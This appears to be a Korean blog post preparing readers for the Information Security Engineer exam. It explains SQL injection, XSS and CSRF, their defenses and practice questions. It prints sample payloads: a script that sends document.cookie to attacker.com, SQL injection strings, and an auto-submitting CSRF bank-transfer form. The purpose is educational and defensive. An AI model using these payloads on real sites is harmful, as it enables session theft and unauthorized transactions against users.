본문 바로가기
보안/보안기초

[정보보안기사] 웹 보안 취약점 SQL Injection, XSS, CSRF 총정리 = 정보보안기사 필수 개념

by 어깨 :) 2025. 5. 22.
반응형

안녕하세요! 오늘은 정보보안기사 시험에서 가장 빈출 되는 웹 애플리케이션 보안 취약점에 대해 알아보겠습니다.

SQL Injection, XSS, CSRF는 실무에서도 가장 자주 발생하는 보안 위협이므로 반드시 숙지해야 할 개념들입니다.

📋 목차

  1. SQL Injection이란?
  2. XSS(Cross-Site Scripting) 완전 분석
  3. CSRF(Cross-Site Request Forgery) 이해하기
  4. 웹 보안 취약점 비교표
  5. 실전 대응 방안
  6. 정보보안기사 출제 포인트 및 기출문제

🔍 SQL Injection

SQL Injection이란?

 

SQL Injection은 웹 애플리케이션의 데이터베이스 쿼리에 악의적인 SQL 코드를 삽입하여 데이터베이스를 조작하는 공격 기법입니다.

공격 원리

-- 정상적인 로그인 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

-- SQL Injection 공격 예시
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

 

 

SQL Injection 유형

1. Error-based SQL Injection

  • 데이터베이스 오류 메시지를 이용한 공격
  • 시스템 정보 노출 위험

2. Union-based SQL Injection

  • UNION 구문을 사용하여 추가 데이터 조회
  • 민감 정보 탈취 가능

3. Boolean-based Blind SQL Injection

  • 참/거짓 결과로 데이터 추출
  • 시간이 오래 걸리지만 탐지 어려움

4. Time-based Blind SQL Injection

  • 시간 지연을 이용한 정보 추출
  • SLEEP() 함수 등 활용

 

 

📊 SQL Injection 대응 방안



🚨 XSS(Cross-Site Scripting)

XSS란?

XSS(Cross-Site Scripting)는 웹 페이지에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행시키는 공격입니다.

XSS 공격 유형

1. Stored XSS (저장형)

 
html
<!-- 게시판에 저장된 악성 스크립트 -->
<script>
document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
  • 서버에 악성 스크립트가 저장됨
  • 지속적인 피해 발생 가능
  • 가장 위험한 XSS 유형

2. Reflected XSS (반사형)

 
html
<!-- URL 파라미터를 통한 공격 -->
http://vulnerable-site.com/search?q=<script>alert('XSS')</script>
  • 사용자 입력이 즉시 반영됨
  • 피싱 공격과 결합 시 위험

3. DOM-based XSS

 
javascript
// 클라이언트 사이드에서 발생
document.getElementById('welcome').innerHTML = 'Hello ' + name;
  • 브라우저의 DOM 조작 시 발생
  • 서버 로그에 남지 않아 탐지 어려움

 

 

🛡️ XSS 방어 기법

1. 입력값 검증 및 출력값 인코딩

 
html
<!-- 위험한 코드 -->
<div><?php echo $_GET['username']; ?></div>

<!-- 안전한 코드 -->
<div><?php echo htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8'); ?></div>

2. Content Security Policy (CSP)

 
html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

3. HttpOnly 쿠키 설정

 
php
setcookie('session', $value, 0, '/', '', true, true); // HttpOnly 설정

🎯 CSRF(Cross-Site Request Forgery)

CSRF란?

CSRF(Cross-Site Request Forgery)는 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위를 수행하도록 하는 공격입니다.

 

CSRF 공격 시나리오

1단계: 사용자 로그인 상태

 
사용자 → 은행 사이트 로그인 → 세션 유지 중

2단계: 악성 사이트 방문

 
html
<!-- 악성 사이트의 숨겨진 폼 -->
<form action="http://bank.com/transfer" method="POST" id="malicious-form">
    <input type="hidden" name="to" value="attacker-account">
    <input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('malicious-form').submit();</script>

3단계: 의도하지 않은 송금 실행

 
브라우저 → 은행 사이트에 송금 요청 → 세션 쿠키 자동 전송 → 송금 완료

🔒 CSRF 방어 방법

1. CSRF 토큰 사용

 
html
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="abc123xyz789">
    <input type="text" name="amount">
    <button type="submit">송금</button>
</form>

2. Referer 검증

 
php
if (!isset($_SERVER['HTTP_REFERER']) || 
    strpos($_SERVER['HTTP_REFERER'], 'https://mybank.com') !== 0) {
    die('Invalid request');
}

3. SameSite 쿠키 속성

 
php
setcookie('session', $value, [
    'samesite' => 'Strict',
    'secure' => true,
    'httponly' => true
]);

📈 웹 보안 취약점 비교표


⚡ 실전 대응 방안

개발 단계에서의 보안 대책

1. 시큐어 코딩 가이드라인

  • 모든 사용자 입력값 검증
  • 출력값 인코딩 필수
  • 최소 권한 원칙 적용

 

2. 보안 테스트 도구 활용

 
# OWASP ZAP을 이용한 취약점 스캔
./zap.sh -cmd -quickurl http://target-site.com -quickprogress

 

3. 웹 애플리케이션 방화벽(WAF) 도입

  • 실시간 공격 탐지 및 차단
  • 가상 패치 적용 가능

운영 단계에서의 모니터링

로그 분석 포인트

 
log
# SQL Injection 의심 로그
2024-01-15 14:30:22 [WARNING] Suspicious query: SELECT * FROM users WHERE id=1' OR '1'='1

# XSS 공격 시도 로그
2024-01-15 14:31:45 [ALERT] Script injection detected: <script>alert('xss')</script>

# CSRF 공격 의심 로그
2024-01-15 14:32:10 [WARNING] Invalid referer for sensitive action

📚 정보보안기사 출제 포인트

🎯 자주 출제되는 문제 유형

1. 취약점 식별 문제

다음 코드에서 발생할 수 있는 보안 취약점은?

 
php
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "'";

정답: SQL Injection

 

2. 대응 방안 문제

CSRF 공격을 방어하기 위한 가장 효과적인 방법은?

  1. 입력값 검증
  2. CSRF 토큰 사용 ✅
  3. HTTPS 사용
  4. 세션 타임아웃 설정

 

3. 공격 시나리오 분석

XSS 공격의 3가지 유형을 설명하고 각각의 특징을 비교하시오.

💡 암기 포인트

  • SQL Injection: -- # ; ' UNION SELECT
  • XSS: <script> alert() document.cookie
  • CSRF: 토큰, Referer, SameSite

 

📝 정보보안기사 기출문제 모음 

🔥 2023년 1회 기출문제

문제 1 (3과목 - 애플리케이션 보안)

다음 중 웹 애플리케이션에서 발생할 수 있는 SQL Injection 공격을 방어하기 위한 가장 효과적인 방법은?

  1. 사용자 입력값의 길이 제한
  2. Prepared Statement 사용
  3. HTTPS 프로토콜 사용
  4. 세션 타임아웃 설정

💡 해설: Prepared Statement는 SQL 쿼리와 데이터를 분리하여 처리하므로 SQL Injection을 근본적으로 차단할 수 있습니다.


문제 2 (3과목 - 애플리케이션 보안)

XSS(Cross-Site Scripting) 공격의 유형 중 서버에 악성 스크립트가 저장되어 지속적인 피해를 발생시키는 유형은?

  1. Reflected XSS
  2. Stored XSS
  3. DOM-based XSS
  4. Blind XSS

💡 해설: Stored XSS는 게시판이나 댓글 등에 악성 스크립트가 저장되어 해당 페이지에 접근하는 모든 사용자에게 피해를 주는 가장 위험한 XSS 유형입니다.


문제 3 (3과목 - 애플리케이션 보안)

다음 PHP 코드에서 발생할 수 있는 보안 취약점은?

$username = $_POST['username'];
echo "환영합니다, " . $username . "님!";
  1. SQL Injection
  2. XSS (Cross-Site Scripting)
  3. CSRF
  4. Directory Traversal

💡 해설: 사용자 입력값을 검증 없이 직접 출력하므로 악성 스크립트가 삽입될 수 있습니다. htmlspecialchars() 함수로 방어해야 합니다.


🔥 2023년 2회 기출문제

문제 4 (3과목 - 애플리케이션 보안)

CSRF(Cross-Site Request Forgery) 공격을 방어하기 위한 방법으로 가장 적절하지 않은 것은?

  1. CSRF 토큰 사용
  2. Referer 헤더 검증
  3. HTTPS 사용
  4. SameSite 쿠키 속성 설정

💡 해설: HTTPS는 데이터 암호화를 위한 것으로 CSRF 공격 방어와는 직접적인 관련이 없습니다.


문제 5 (3과목 - 애플리케이션 보안)

다음 중 웹 애플리케이션의 입력값 검증에서 사용되는 화이트리스트 방식의 설명으로 옳은 것은?

  1. 금지된 문자나 패턴을 정의하여 차단
  2. 허용된 문자나 패턴만을 정의하여 통과
  3. 입력값의 길이만을 제한
  4. 암호화를 통한 입력값 보호

💡 해설: 화이트리스트 방식은 허용된 것만을 통과시키는 방식으로 블랙리스트 방식보다 보안성이 높습니다.


🔥 2022년 3회 기출문제

문제 6 (3과목 - 애플리케이션 보안)

다음 SQL 쿼리에서 SQL Injection 공격이 성공할 경우 예상되는 결과는?

SELECT * FROM users WHERE id = '1' OR '1'='1'-- ' AND password = 'test'
  1. 로그인 실패
  2. 모든 사용자 정보 출력
  3. 데이터베이스 삭제
  4. 시스템 종료

💡 해설: '1'='1'은 항상 참이므로 WHERE 조건이 무시되어 모든 사용자 정보가 출력됩니다.


문제 7 (3과목 - 애플리케이션 보안)

XSS 공격에서 사용되는 다음 JavaScript 코드의 목적은?

document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
  1. 페이지 리디렉션
  2. 쿠키 정보 탈취
  3. 브라우저 종료
  4. 파일 다운로드

💡 해설: 사용자의 쿠키 정보를 공격자의 서버로 전송하여 세션 하이재킹을 시도하는 코드입니다.


🔥 2022년 2회 기출문제

문제 8 (3과목 - 애플리케이션 보안)

웹 애플리케이션에서 파일 업로드 취약점을 방어하기 위한 방법으로 가장 적절하지 않은 것은?

  1. 업로드 파일 확장자 검증
  2. 파일 크기 제한
  3. 파일명 암호화
  4. 업로드 디렉터리 실행 권한 제거

💡 해설: 파일명 암호화는 보안 강화에 도움이 되지만 파일 업로드 취약점의 직접적인 방어 방법은 아닙니다.


문제 9 (3과목 - 애플리케이션 보안)

다음 중 웹 애플리케이션의 세션 관리 취약점에 해당하지 않는 것은?

  1. 세션 하이재킹
  2. 세션 고정 공격
  3. 버퍼 오버플로우
  4. 세션 타임아웃 부재

💡 해설: 버퍼 오버플로우는 메모리 관련 취약점으로 세션 관리와는 직접적인 관련이 없습니다.


문제 10 (3과목 - 애플리케이션 보안)

Content Security Policy(CSP)의 주요 목적은?

  1. SQL Injection 방어
  2. XSS 공격 방어
  3. CSRF 공격 방어
  4. 무차별 대입 공격 방어

💡 해설: CSP는 웹 페이지에서 실행 가능한 스크립트의 출처를 제한하여 XSS 공격을 방어하는 보안 정책입니다.

 

 

🔧 추가 보안 고려사항

API 보안

 
json
{
  "error": "Invalid input detected",
  "details": "Special characters not allowed",
  "timestamp": "2024-01-15T14:30:00Z"
}

보안 헤더 설정

 
apache
# Apache 설정 예시
Header always set X-Content-Type-Options nosniff
Header always set X-Frame-Options DENY
Header always set X-XSS-Protection "1; mode=block"

 

🎯 마무리

웹 애플리케이션 보안 취약점인 SQL Injection, XSS, CSRF는 정보보안기사 시험뿐만 아니라 실무에서도 반드시 알아야 할 핵심 개념입니다.

핵심 요약

  1. SQL Injection: 데이터베이스 조작 공격 → Prepared Statement로 방어
  2. XSS: 악성 스크립트 삽입 공격 → 입출력 검증으로 방어
  3. CSRF: 의도하지 않은 요청 공격 → CSRF 토큰으로 방어

정보보안기사 합격을 위해서는 이론뿐만 아니라 실제 공격 시나리오와 대응 방안을 함께 이해하는 것이 중요합니다!


#정보보안기사 #웹보안 #SQLInjection #XSS #CSRF #보안취약점 #시큐어코딩 #정보보안산업기사

#정보보안기사 #정보보안산업기사 #정보보안기사기출문제 #정보보안기사실기 #정보보안기사필기

#웹보안 #애플리케이션보안 #웹애플리케이션취약점 #시큐어코딩 #보안개발 #OWASP #웹해킹 #화이트해킹

#SQLInjection #SQL인젝션 #XSS #크로스사이트스크립팅 #CSRF #크로스사이트요청위조 #보안취약점 #웹취약점

#웹개발보안 #보안코딩 #PHP보안 #JavaScript보안 #데이터베이스보안 #PreparedStatement #입력값검증

#정보보안기사준비 #정보보안기사공부 #정보보안기사합격 #정보보안기사요약 #기출문제풀이 #정보보안자격증

#CSP #ContentSecurityPolicy #CSRFToken #세션보안 #쿠키보안 #WAF #웹방화벽

#정보보안직무 #보안엔지니어 #사이버보안 #정보보안실무 #보안관제 #IT보안 #사이버위협

#정보보안공부 #보안학습 #IT자격증 #정보처리기사 #네트워크보안 #시스템보안 #정보보안개론

 

 

반응형